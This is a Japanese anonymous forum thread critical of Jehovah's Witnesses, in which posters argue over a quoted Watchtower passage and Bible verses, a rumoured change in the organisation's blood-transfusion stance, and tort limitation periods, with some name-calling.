　古本屋周りをして、新世界訳聖書を始め、彼らのテキストを10冊以上購入していただけでは飽き足らなくなりました。
　それで日本支部に手紙を出して、本を贈ってくれ、と書いたり、「目覚めよ！」と「ものみの塔」を持って伝道しているおばさんに本をくれ、と頼み込みました。（今年二回来ました。）
　結果は、「永遠の命に導く知識」をもらっただけで、新世界訳はゲットできていません。

めざめってどこ行ったの？
消えた？

>>846
反エホオーラを感付かれてるのでは？

キリスト教世界の僧職者がどう言おうとも、神の言葉の教え手となるた
めに、古代の聖書言語を学ぶ必要があるわけではありません。エホバは
聖書に霊感を与えて、それが明快かつ具体的な語句で書かれるようにさ
れたので、ほとんどだれもがその貴重な真理を把握できます。その真理
は、幾百もの言語に翻訳されても、元の形を保っています。ですから、
古代の言語についての知識は、ときに役立つ場合もありますが、不可欠
なものではありません。さらに、言語面の能力についての誇りの気持ち
が、真のクリスチャンに不可欠な特性である、教えやすさを失わせてし
まうことがあります。―テモテ第一６：４。

>>849
縦読みできないだろうが馬鹿チン！

確かに、その通りです。言葉に秀でていることに高慢になってはなりません。
しかし、理解力については、幼子になってはならないと書かれていますよ。
聖書全巻は一つの原則によって貫かれており、論理的に考えることはその原則を見いだすことが出来ます。
それは真の理解であり、かえってそれが分からなければ盲目となりますよ。

集会から帰ってきて早々２ちゃんかよ（藁

あ〜？それとも奉仕から帰ってきて早々２ちゃんかよ（藁

漏れが活発だった頃は、こんなところに研究記事を
文字入力するよりは、集会や奉仕などで仲間と熱く語り合って
充足していたよ（藁　よっぽど寂しいんだな>849は。ん？
それとももしかして霊的に弱ったチャン？どっちにしろ、
お前のしていることは嘲笑を買うだけだということがわからない
馬鹿チンだよお前は

どちらでもありませんがなにか？

どちらでもありませんがなにか？

>>855＝>849でしゅか？

わかった！これから奉仕or集会だろ？！
さっさと飯食って吉本新喜劇でも見ろ！

ちがいます。ものみの塔は聖書に対する理解が浅いように感じています。

漏れが叩いているのは>849だ！

別に叩ければ誰でもいいんじゃネーノ

いまさん、アルケミストって本[パウロ・コエーリョ著］ご存知？

まぁ、集会はこれからですが・・・。
研究生なので奉仕はやりません。

結婚さんいらっしゃい！とアタック２５！
これが通の日曜の過ごし方さ！

いやぁ、知りませんね。どんな内容ですか？

いまさんはエホバの証人になりたいの？

>>864
禿げしく同意

>>864
>>865

>>865
え。知らないの？
キリスト教に詳しい人なら、読んで損はない
お話です。でもエホバの証人的ではないかもね。

正直なりたくないです。友達に勧められて行って見たんですが、矛盾が多かったので、いずれ離れるつもりです。

友達が悪いね。

読んでみます。ありがとうございます。

じゃあ、いまさんも一緒に
吉本新喜劇→新婚さんいらっしゃい→アタック２５
を見て、つまんない集会なんか休んじゃいましょう！

アタック２５はちょっと。。。

>>874
なにぃ！ヽ(*｀Д´)ノｺﾞﾙｧ

エホバの証人にならなくても神を崇拝できますし、
神はそのような人たちも受け入れてくださると思います。

エホバの証人逝ってよし！

塩盆・・・

いえ・・・。迎えにきてくれるそうなので行かないわけには。

>>830
俺も週刊ポストで読んだ。

876さん、私もそう思います。

>>878
そんなことしてるとズリズリと引き込まれてしまうよ！
早いうちに離れたほうが身のためだと思われ。
彼らは手のひらを返すように連絡をとってこなくなる
と思われ。信者を獲得するために必死なのさ〜。
研究生を連れているだけで鼻高々なのさ〜。

え？ﾏｼﾞで輸血解禁したの？

友達ぢゃないよ、それ。

>>872
ちなみに、私は？だったんだけど、
いまさんが男性なら、もしかしたら感動するかも？

そうですか、ありがとうございます。機会を見て、そうすることにします。

なんのために、例の姉妹とその遺族が東京大医学部付属病院を
訴えたのか、わけがわからなくなるな。この組織はもうオワッテル。

東大医学部はY先生を切ったときからおかしくなったしね。

新しい光などではなく、そもそも輸血を全面的に禁止する必然性が
全くなかったことになるのだが、信者達にはそれすらわからないのだろうか？
恐るべし、カルト宗教。ここまで多くの信者を洗脳できた宗教が過去にあったで
あろうか？

大木英夫の終末論もいいね。

大勢の者が流した血に酔っているのは、エホバの組織のように思えてきた。

輸血が解禁になった暁には、エホバの証人のコロコロ変更する
教義のために、輸血拒否問題で実際に精神的ダメージを受けた
医師たちの補償をしてもらわねば。時効は何年まで有効ですか？

不法行為の時効は3年までです。加害者又は被害を知ったときから20年でジョセキ期間となります。
その後は訴え提起できません。

>>891
＞輸血拒否問題で実際に精神的ダメージを受けた
医師たちの補償をしてもらわねば
そんなヤワな医師は医者に向いてないと思うよ

いまさんへ
＞不法行為の時効は3年までです。
治療方法の選択が違法行為になるのでしょうか？

８９４です
訂正します　治療方法の選択が不法行為になるのでしょうか？

>>849　*** 塔02 8/15 19-20 「絶えずわたしのあとに従いなさい」 ***
キリスト教世界の僧職者がどう言おうとも、神の言葉の教え手となるた
めに、古代の聖書言語を学ぶ必要があるわけではありません。エホバは
聖書に霊感を与えて、それが明快かつ具体的な語句で書かれるようにさ
れたので、ほとんどだれもがその貴重な真理を把握できます。その真理
は、幾百もの言語に翻訳されても、元の形を保っています。ですから、
古代の言語についての知識は、ときに役立つ場合もありますが、不可欠
なものではありません。さらに、言語面の能力についての誇りの気持ち
が、真のクリスチャンに不可欠な特性である、教えやすさを失わせてし
まうことがあります。―テモテ第一６：４。

べつに牧師とかが「原語で聖書を学べ。」と言ってるの聞いたこと無いよ。
「聖書が明快かつ具体的な語句で書かれてる。」と主張してるわりには
エホバの証人さんは副読本が多いよね。言っている事と、やっている事が違いますね。

>言語面の能力についての誇りの気持ち
>が、真のクリスチャンに不可欠な特性である、教えやすさを失わせてし
>まうことがあります。

↑意味が分かんないよ。なんか書いとけば言いと思っているのかな。

最後に「テモテ第一６：４」と書いてあるけど、内容と一致してないよ。
全体を読みますと、たんにキリスト教の神父や牧師を非難しているだけに思えますね。

テモテ第一６章
３、違ったことを教え、私たち主イエス・キリストの健全なことばと
　　敬虔にかなう教えとに同意しない人がいるなら、
４、その人は高慢になっており、なに一つ悟らず、疑いをかけたり、
　　ことばの争いをする病気にかっているのです。
　　そこから、ねたみ、争い、悪意の疑りが生じ、
５、また、知性が腐ってしまって真理を失った人々、すなわち敬虔を
　　利得の手段と考えている人たちの間には、絶え間のない紛争が生じるのです。

>>893　の意見に賛成です。

まぁ、なる可能性はあると思いますよ。
もし他者の自己決定権を侵害して、輸血治療を拒否「させた」のであれば。
本人が進んで拒否したのであれば別ですが。まぁ、他にもいろんな解釈は成り立ちますけど、これは本人の問題ですが。
問題は遺族の感情ですけど、現に侵害を受けたのは、教義変更のときですし。

訂正します(;^_^A。
医師でしたね。恐らく医師に対する補償は認められにくいでしょう。
その医師がノイローゼになり、それに因果関係が認められば別ですが。それすら認められにくいと思われ。

エホ症は形式主義。

だって、これが法律なんだもん♪

エホ商はすでに死んでいる！！

最近カトリックを信奉している方の中に人は、一般のJWの信仰を揺るがすために、いくつかの聖句の原語の意味を強調するよう訓練されてるのですよ。特にイタリアでこうした活動が行われているようです。
言語力と誇りに関する話については、ヘブライ語・アラム語・ギリシャ語に関する言語能力を持つ人が、その原語に関連した単語や文法にこだわるあまり、聖句の直接的な意味を見失ったり、逆にそうした知識を持っているがために誇りを抱いてしまう事について言及しています。

>>903 みちのりさんへ
>>849
>>キリスト教世界の僧職者がどう言おうとも、

イタリアなどのカトリックは知りませんので、その部分は分かりませんが、
この文章ですと、キリスト教の全ての神父や牧師に対しての
悪いイメージを植え付けようとした文章になりますね。
「一部のキリスト教世界の僧職者」とした方が良いのではないかと思いますけど。
「キリスト教世界の僧職者」と書かれている文章の中に、
「テモテ第一６：４」と聖句が書かれて、そこには、

４、その人は高慢になっており、なに一つ悟らず、疑いをかけたり、
　　ことばの争いをする病気にかっているのです。
　　そこから、ねたみ、争い、悪意の疑りが生じ、

と書いて有りますね。これでは、
「キリスト教世界の僧職者」は「高慢」と思われそうですね。
この様な、思慮の欠けた文章が書いてある印刷物を、
イタリアのカトリック事情だと判断できない、
一般人にまで配布するのは、いかがな物かと思いますけど。

ＪＷさんは自分たちが「迫害」される事に神経質になりますが、
まず、ＪＷさんの他の宗教への「中傷」を辞めた方が良いと思いますね。

　あなた方は、聖書をそのままに読む機会は奪われていて、組織独特の聖書解釈を
鵜呑みにさせられ、キリスト教や聖書から巧妙に引き離され、組織の教えの奴隷に
なるよう仕向けられています。

　例えば、『人生の目的は何ですか』という冊子のP19でマタイ26の51-52を挙げ、
キリスト者は「イエス・キリストの教えとは反対のことをしてきました」と糾弾
する記載があります。しかし、「イエスの教え」を問題とするならばこの聖書から
の引用は、意図的一方的なものとこちらには映ります。福音全体の記述を考慮すれば、
イエスはルカ福音書22章36-38節で、弟子たちに剣の用意を確認しこれを持っていない
場合には服を売ってでも手に入れるよう促すところがあります。

　この団体は聖書にイエスを見出そうとはしていません。イエスの言葉を巧みに利用して
反キリスト教のマインドコントロール組織を形成しているだけなのです。恐らく。

「衝撃！イエスキリストは好戦的な人物だった」

予備知識の無い人が>>905の文章を読むと上のような誤った結論に導かれるでしょう。（ｗ

何が何だかさっぱりわかりませんね。普通のひとには・・・。これがいわゆる神学論争
ってヤツですか？ここの掲示板に書いてる人達は、信者なんですか？それとも脱会した
かつて信者だった人なんですか？

>>906
　イエスご自身は捕まる事を知っていて、弟子たちには自らを守るすべを
持ちなさいという意味で剣の携帯を促したのだよ、きっと。

新スレです↓
エホバの証人ふざけるな！19
http://life.2ch.net/test/read.cgi/psy/1027296667/l50

>>904
の意見に同意。

908さんへ。
イエスはペトロが剣を抜き、役人の耳を切り落とすのを知っていました。この事は、『彼は罪人の一人に数えられた』という預言の成就にかかっています。
おそらく当時無実のものを捕まえるというのもそれなりの根拠が必要だったのでしょう。
ですから、あえてそうしたのだと思いますよ。

>>892
間違いです．

あっ、確かに！
すいません(^^ゞ　
訂正します。
　
損害及び加害者を知ったときから三年
不法行為のときから二十年です。
申し訳ありません。

いまさんへ
いろいろ調べてくださってありがとう

>>911
　『彼は罪人の一人に数えられた』のは、ペトロに対する預言の成就ではなくて、
イエス・キリストに対する預言の成就ですよ。実際マルコスの耳を切り落とした
ベトロはその時点でキリストと共に捕らえられることはなく、イエスはマルコスの
耳をその場で治しています。
　ペトロが剣を抜いたためにイエスは罪人として捕らえられたのではありませんね。
それは、すでにイエスを罪人として捕らえようと武器を持って連中がやってきてる
ところでわかります。ペトロの応戦は単なる彼らと出くわしたその場でのエピソード
であり始めに挙げた預言の成就とは関係ないことでしょう。